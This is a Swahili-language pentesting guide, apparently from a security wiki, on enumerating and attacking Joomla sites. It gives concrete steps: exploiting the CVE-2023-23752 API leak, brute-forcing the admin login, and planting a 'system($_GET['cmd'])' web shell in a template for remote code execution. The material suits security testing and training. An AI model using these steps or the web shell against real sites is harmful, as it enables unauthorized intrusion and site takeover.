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# Joomla
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### Takwimu za Joomla
Joomla inakusanya takwimu za [matumizi](https://developer.joomla.org/about/stats.html) zisizo na jina kama vile mgawanyiko wa matoleo ya Joomla, PHP na hifadhidata na mifumo ya uendeshaji ya seva zinazotumika kwenye usakinishaji wa Joomla. Takwimu hizi zinaweza kuombwa kupitia [API](https://developer.joomla.org/about/stats/api.html) yao ya umma.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeration
### Discovery/Footprinting
- Angalia **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
- robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
- README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Toleo
- Katika **/administrator/manifests/files/joomla.xml** unaweza kuona toleo.
- Katika **/language/en-GB/en-GB.xml** unaweza kupata toleo la Joomla.
- Katika **plugins/system/cache/cache.xml** unaweza kuona toleo la takriban.
### Otomatiki
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Methodology ni sehemu kuhusu skana za CMS**](#cms-scanners) ambazo zinaweza skana Joomla.
### API Ufunuo wa Taarifa Bila Uthibitisho:
Matoleo Kutoka 4.0.0 hadi 4.2.7 yana hatari ya ufunuo wa taarifa bila uthibitisho (CVE-2023-23752) ambayo itatoa creds na taarifa nyingine.
- Watumiaji: `http://<host>/api/v1/users?public=true`
- Faili ya Mipangilio: `http://<host>/api/index.php/v1/config/application?public=true`
**Moduli ya MSF**: `scanner/http/joomla_api_improper_access_checks` au script ya ruby: [51334](https://www.exploit-db.com/exploits/51334)
### Brute-Force
Unaweza kutumia [script](https://github.com/ajnik/joomla-bruteforce) hii kujaribu kufanya brute force kwenye kuingia.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Ikiwa umeweza kupata **admin credentials** unaweza **RCE ndani yake** kwa kuongeza kipande cha **PHP code** ili kupata **RCE**. Tunaweza kufanya hivi kwa **kubadilisha** **template**.
1. **Bonyeza** kwenye **`Templates`** chini kushoto chini ya `Configuration` ili kuleta menyu ya templates.
2. **Bonyeza** kwenye jina la **template**. Hebu chague **`protostar`** chini ya kichwa cha safu ya `Template`. Hii itatuletea kwenye ukurasa wa **`Templates: Customise`**.
3. Hatimaye, unaweza kubonyeza kwenye ukurasa ili kuleta **chanzo cha ukurasa**. Hebu chague ukurasa wa **`error.php`**. Tutongeza **PHP one-liner ili kupata utekelezaji wa code** kama ifuatavyo:
1. **`system($_GET['cmd']);`**
4. **Hifadhi & Funga**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## From XSS to RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script ambayo **inainua XSS hadi RCE au Uthibitisho Mwingine wa Kihatarishi**. Kwa maelezo zaidi angalia [**hii chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Joomla Versions 5.X.X, 4.X.X, na 3.X.X, na inaruhusu:**
- _**Privilege Escalation:**_ Inaunda mtumiaji katika Joomla.
- _**(RCE) Built-In Templates Edit:**_ Hariri Templates za Built-In katika Joomla.
- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins za Tatu za Joomla.
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